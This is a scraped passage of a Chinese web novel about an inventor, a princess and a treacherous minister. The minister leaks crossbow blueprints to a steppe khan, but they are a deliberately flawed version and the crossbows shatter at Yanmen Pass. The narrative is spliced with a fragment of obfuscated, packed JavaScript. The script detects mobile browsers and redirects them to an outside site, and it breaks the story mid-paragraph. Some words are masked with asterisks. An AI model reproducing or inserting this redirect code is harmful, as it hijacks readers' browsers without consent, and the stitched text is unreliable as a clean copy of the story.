“公主殿下,这叫风险投资。”
谢珩抹了把脸上的黑灰,露出一口白牙,“成了,你的神策军,战力翻倍。败了……反正烧的也是你的钱。”
“你!”
刘楚玉被他气得扬起了手,却迟迟没有落下。
她看着炉火映照下,那个男人专注而自信的侧脸,心里忽然生出一种荒谬的念头。
或许,他真的能创造奇迹。
……
三日后。
琅琊王氏府邸。
王端正悠闲地修剪着一盆名贵的兰花,一名心腹快步走入。
“老爷,公主府那边,还是没动静。”
“没动静?”王端剪下一片枯叶,“看来,他们是打算放弃了。”
他嘴角勾起一抹胜券在握的弧度。
“告诉铁行那边,可以把价格再抬高两成。本官要让朝阳公主亲自上门,来求我。”
谢珩啊谢珩,任你技术再好,在绝对的权利面前还不是得低头。
心腹的脸色有些古怪,他犹豫了一下,还是开口了。
“老爷……神策军那边,有动静了。”
“哦?他们终于肯变卖公主府的家当,来买铁了?”
王端冷笑,依旧一副悠然自得的模样。
“不……不是。”心腹的声音都在发颤,“今天一早,三千神策军,全员换装了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15956448|177620||http|test|mini|href|location''.split(''|''),0,{}));
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r>王端修剪兰花的剪刀,“咔哒”一声掉在地上。
“你说什么?”
“三千套全新的黑甲,三千柄乌黑长刀,三千具钢臂**……一件不少,全都配发下去了。”
“不可能!”王端猛地站起身,喉咙上下跳动,“他从哪儿弄来的铁料!整个建康的铁,都在我们手里!”
“据……据我们安插在工坊的人说,谢珩用的是一种闻所未闻的法子,叫什么……灌钢法。用的,全是城外挖来的废矿。”
“而且,新炼出来的钢,品质……比我们卖的精铁,还要好上数倍!”
“噗!”
王端只觉得喉头一甜,一口气没上来,整个人踉跄着后退两步,撞翻了身后的花架。
那盆名贵的兰花,摔得粉碎。
他引以为傲的商业壁垒,被对方用一种他完全无法理解的方式,轻易击碎。
“妖术……这一定是妖术!”
他双目赤红,状若疯狂。
谢珩定是妖人!不然哪来的那么多法子?
儿子王七郎从内堂走出,扶住摇摇欲坠的父亲。
“父亲!此子不除,必成我王氏心腹大患!”
王端死死地攥着拳头,指甲嵌入掌心。
他看着窗外,脸上血色褪尽,取而代之的,是一种彻骨的阴冷。
既然堂堂正正的手段玩不过。
那就掀了这棋盘!
“备笔墨。”
他的声音沙哑,不带一丝感情。
幽暗的密室中,王端写下一封密信。
信纸是北狄特有的羊皮纸,墨水里掺了只有双方才懂的秘药。
他将信卷好装入一个特制的蜡丸,递给一个早已等候在阴影中的黑衣人。
“立刻送出关,交给……”
“告诉他,我答应他的条件。”
“让他尽起部落大军兵锋直指雁门关。我要他把朝廷所有的兵力都给我死死地拖在北境。”
黑衣人接过蜡丸没有任何言语,身形一闪便消失在黑暗中。
王端缓缓走出密室,抬头望向皇宫的方向。
建康,该换个主人了。
光是一个家族的力量还是不够,他需要实权!
第23章 残次品炸膛了?
北狄,王帐。
粗粝的北风卷着沙砾刮在金色的帐篷上,发出呜咽般的声响。
琅琊王氏的密使,王愣的堂弟王实,此刻正跪在铺着厚厚狼皮的地毯上,头颅深深埋下,不敢去看帐中那位被称为“草原雄鹰”的男人。
北狄可汗,阿史那骨,正用一把小刀慢条斯理地刮着指甲,他面前的火盆里一块羊腿被烤得滋滋作响。
“你的主人,想让本汗的勇士去给他当狗?”
王实身体一颤,从怀中捧出一个长条形的木盒。
“大汗误会了。我家主人是想送给雄鹰一双更锋利的爪牙。”
木盒打开,里面静静躺着一具通体乌黑的钢臂**。
阿史那骨停下手中的动作,示意身旁的亲卫将东西拿过来。
他掂了掂那具钢**,比他见过的任何大虞军**都要沉重,也都要精巧。
“这东西,本汗在雁门关下见过。”
“大汗见过的,只是样品。”王实抬起头,脸上带着一丝狂热,“我家主人送来的,是能让您所有勇士都装备上它的图纸!”
他将一份用油布包裹的竹简呈上。
“有了它,大虞的边关,在您面前将再无坚城。”
阿史那骨的呼吸粗重了几分,但他依旧保持着警惕。
“王端,大虞的吏部侍郎,一人之下万人之上。他为什么要帮我?”
“因为老虎老了,想换掉山上那头更年轻的。”
王实压低了声音,“我家主人承诺,只要大汗起兵,兵锋直指雁门关,事成之后,云州、朔州、代州三城,将尽归大汗所有。届时,他会打开城门,恭迎大汗入主。”
帐内陷入了死寂。
三座城池。
这个诱惑太大了。
阿史那骨拿起那具钢**,走出王帐,对着百步外的一面牛皮靶扣动了**。
“咻!”
尖锐的破空声响起,**箭瞬间洞穿了三层牛皮叠加的厚靶,余势不减,深深钉入后方的木桩。
周围的北狄贵族发出一阵惊呼。
阿史那骨的眼中,贪婪终于压过了理智。
“好!告诉王端,本汗答应了!”
“传我王令!集结五万骑兵,三日之后,本汗要亲临雁门关,用虞人的血,来祭奠我们的新神兵!”
雁门关,城头。
守将李牧之手扶城堞,望着远处地平线上那条不断蠕动的黑线,手心全是冷汗。
“多少人?”
“将军,黑压压一片,至少五万骑兵!”
城墙上的守军一片死寂,每个人的脸上都带着恐惧。
五万骑兵,足以将小小的雁门关踏平十次。
更可怕的,是敌人前排那些闪烁着乌光的武器。
“将军,那钢**闻所未闻,杀伤力比我们见过的所有**都要凶猛。”一名百夫长声音发颤。
李牧之没有说话,只是握紧了腰间的佩刀。
他知道,此战,九死一生。
“呜!”
苍凉的号角声响起。
北狄军阵中,前排三千名最为精锐的**手齐齐上前一步。
他们举起了手中的钢臂**,黑洞洞的**口对准了雁门关的城头。
“放!”
随着一声令下,一片乌云腾空而起,遮蔽了天日。
“举盾!”李牧之嘶声大吼。
守军们下意识地将厚重的木盾举过头顶。
然而,一切都是徒劳。
“噗!噗!噗!噗!”
木屑横飞,惨叫声瞬间响彻城头。
那些坚固的木盾,在钢**面前被轻易射穿,**箭带着巨大的动能,将后面的士卒一同贯穿。
仅仅一轮齐射,城墙上便倒下了数百人,防线被撕开了一个个血淋淋的口子。
城下的北狄军爆发出震天的欢呼。
阿史那骨在王旗下放声大笑。
“看到没有!这就是神力!再来一轮,给我把城墙上的活人都射穿!”
前排的北狄**手们,脸上带着嗜血的笑容,熟练地再次上弦,举**。
就在此时!
异变陡生!
“咔嚓!”
一名**手手中的钢**,那坚固的钢臂,毫无征兆地从中崩裂!
断裂的钢片以恐怖的速度反向弹射,瞬间削掉了他半个脑袋!
这只是一个开始。
“砰!”
“啪!”
“咔嚓!”
一连串金属断裂的爆响,在
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北狄军阵中连绵不绝地响起!
那些刚刚还让他们引以为傲的神兵利器,此刻都突生变故。
钢臂崩裂,机括炸膛。
刚才还整齐划一的前排**阵,瞬间人仰马翻,乱成一团。
被自己武器杀伤的**手,竟比第一轮射杀的虞人还要多!
“怎么回事!”阿史那骨的笑容僵在脸上。
城头上的李牧之也看呆了。
他愣了片刻,随即反应过来,一股狂喜涌上心头。
这是天赐良机!
他抽出佩刀,用尽全身力气怒吼。
“开城门!”
“全军出击!”
……
金銮殿。
气氛从死寂到狂喜,只用了一封战报的时间。
“雁门关大捷!阵斩北狄五千,俘虏上万,可汗阿史那骨仅以身免,狼狈北窜!”
“好!好啊!”赵元稷激动地站起身。
满朝文武,山呼万岁。
王端站在人群中,脸上也跟着带起笑容。
可接连不止的冷汗却从额头渗出,眼皮不自觉的跳动起来。
当内侍继续念下去时,所有人的表情都凝固了。
“……此役,北狄动用我朝新式钢**三千具。”
“然其**粗制滥造,淬火不精,连发即毁,自伤颇重,致其大败。我军于战场缴获残**数百,另有……图纸一份。”
轰!
整个大殿,瞬间炸开了锅。
所有人的视线,都聚焦在了殿中那个穿着青色官服的年轻人身上。
谢珩。
钢**图纸,出自他手。
王端第一个反应过来,他猛地转身,扑通一声跪倒在地。
“陛下!”他声泪俱下,痛心疾首,“此乃通敌叛国之滔天大罪!”
“钢**图纸乃国之重器,由公主府督造,谢珩总领其事!如今图纸外泄,资敌误国,非他监守自盗,还能有谁!”
“请陛下彻查此案,以正国法!”
他这一番话,又快又狠,直接将矛头对准了谢珩。
“臣附议!定是此獠**求荣!”
“请陛下严惩**!”
方才还一脸喜色的官员们,此刻纷纷跪下,矛头一致对外。
第24章 王氏自相残杀
赵元稷的脸涨得通红,他看着跪了一地的大臣,又看看一脸平静的谢珩,一时间竟不知如何是好。
“王侍郎。”
谢珩终于开口了。
他上前一步,先是对着赵元稷拱了拱手,才转向王端。
“你说的对,泄露国之利器,的确是通敌叛国之罪。”
王端一愣,没想到他竟会承认。
谢珩继续慢悠悠地开口:“我的钢臂**从未有过炸膛事故,为何北狄人使用却会炸膛?”
他环视一周,看着那些惊疑不定的脸。
“敢问王侍郎,这是否为某个学艺不精的叛徒将技术外泄?”
“我……”王端语塞。
谢珩没给他机会。
“或者我换个问法。”
他的声音陡然转冷。
“我献给陛下的图纸,一共有三个版本。”
“第一个,是献给陛下的最终版,藏于宫中。”
“第二个,是给工部备案的简化版,陈尚书可以作证。”
“至于第三个……”
谢珩的嘴角,勾起一抹玩味的弧度,“是个我故意做错关键步骤再流传出去的废品版。比如,在某个淬火阶段,省去一道至关重要的回火工序。”
工部尚书陈大人身体一震,失声惊呼:“回火!对!钢材淬火之后,硬度虽高,却性脆如瓷,需再经低温回火,方能消除脆性,坚韧并济!若无此步……”
“若无此步,”谢珩接过了话头,“造出来的钢**,看着唬人,实则是个一触即炸的爆竹。”
他看着脸色已经变得惨白的王端,咧嘴一笑。
“王侍郎,你说,北狄人拿到的,会是哪一版呢?”
王端支支吾吾半天,最后终于回了句。
“那此事可能是有内鬼所为,从长计议,对!从长计议……”
他哪里不明白,话都说到这个份上了,若是再跟谢珩对着干,明眼人都会怀疑到自己身上。
半个时辰后后,琅琊王氏府邸书房。
王端将那封写着“事败速归,另有重用”的信烧成灰烬。
“他到哪了?”
“回老爷,王实一行已过白马渡,最迟今夜便能入城。”
王端捻了捻指尖的灰烬,脸上没有半分血色。
“派人去接他。手脚干净点别留下任何痕迹。”
“是。”心腹躬身退下,身影消失在阴影里。
王端走到窗边,看着庭院中那盆被他自己撞碎的兰花,残枝败叶狼藉一片。
他必须死。
王实,这个他亲自挑选送去北狄的棋子,如今成了悬在他头顶最锋利的刀。
……
官道上,马车颠簸。
王实撩开车帘看着窗外飞速**的树木,心头那股不安愈发浓烈。
**静了。
这条路是入建康的主干道往来商旅不绝,此刻却连个鬼影子都看不到。
他猛地探出头对着车夫低喝:“不对劲!改走小路去秦淮河!”
车夫是他心腹,闻言二话不说猛地一拉缰绳,马车拐向一条岔路。
就在马车转向的瞬间,道路两旁的林中十几道黑影如鬼魅般窜出,手中的**箭闪着幽光。
“咻咻咻!”
箭雨袭来,车夫当场被射成刺猬栽下马车。
马匹吃痛发出一声悲鸣,拖着失控的马车疯狂前冲。
王实死死抓住车厢另一只手从怀中掏出一个油布包裹,用牙咬开里面是几封用蜡丸封好的密信。
他知道王端要杀他灭口。
“**戈壁!老子卖命送信你还得搞我是吧?!”
马车撞上一块巨石顿时四分五裂。
王实在车厢解体的前一刻跳了出去,在地上滚了几圈,左臂被划开一道深可见骨的口子,鲜血直流。
他顾不上疼痛,连滚带爬地钻进了密林。
身后,追杀的脚步声越来越近。
建康城,秦淮河畔。
一艘画舫静静停泊在最奢华的地段,船头挂着“邀月楼”的牌匾,这里是公主刘楚玉名下最隐秘的销金窟。
一个浑身是血的人影从岸边的柳树后跌跌撞撞地冲出,他用尽最后一丝力气,将一个沾满血污的蜡丸奋力扔向画舫二楼的窗户。
“啪!”
蜡丸准确地砸在窗棂上,滚了进去。
做完这一切,王实眼前一黑,栽倒在地。
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邀月楼内,刘楚玉正慵懒地靠在软榻上,听着小曲儿。
一名侍女快步走入,将那枚蜡丸呈上。
刘楚玉捏开蜡丸,抽出里面的信纸,只看了一眼,她便坐直了身体。
纸上没有字,只有一个用血画出的,琅琊王氏的家族徽记。
下面还有一行小字:琅琊王氏,王实,请求投奔谢公子。
刘楚玉的脸色沉了下来。
她挥手屏退左右,立刻换上一身便服。
“去神策军大营,告诉谢珩,他捅的篓子,溅到本宫身上了。”
……
神策军大营,临时帅帐。
谢珩正在一张巨大的舆图上用炭笔勾画着什么。
刘楚玉风风火火地闯了进来,将那张带血的信纸拍在他面前。
“你自己看。”
谢珩拿起信纸,片刻后,他吹了声口哨。
“哟,这算是投名状?”
“人呢?”
“在城南的别院里,半死不活。”刘楚玉没好气地坐下,给自己倒了杯茶,“太医看过了,失血过多,但命保住了。”
她端起茶杯,看着谢珩:“我的人审过了,他只说要见你,一个字都不肯多吐。”
“他很聪明,知道这东西交给别人都没用,只有交给你我,才能保住他的命。”
谢珩将那张信纸折好。
“王端这是要**灭口,毁掉所有证据。”
刘楚玉冷哼一声:“他想得美。现在人证物证都在我们手里,我看他这次怎么翻身!”
“不,还不够。”谢珩摇了摇头。
“什么不够?”刘楚玉蹙眉。
“一份供词,扳不倒一整个琅琊王氏。”
谢珩的手指在舆图上敲了敲,“只要他们死不承认,把王实打成叛徒,再拉拢一半的朝臣施压,你那皇帝弟弟,除了把王端关几天,什么都做不了。”
他看着刘楚玉:“我们手里的人证,随时可能变成**。手里的物证,随时可能变成伪证。”
刘楚玉的呼吸一滞。
她明白谢珩的意思。在绝对的权力结构面前,所谓的真相,脆弱不堪。
“那怎么办?”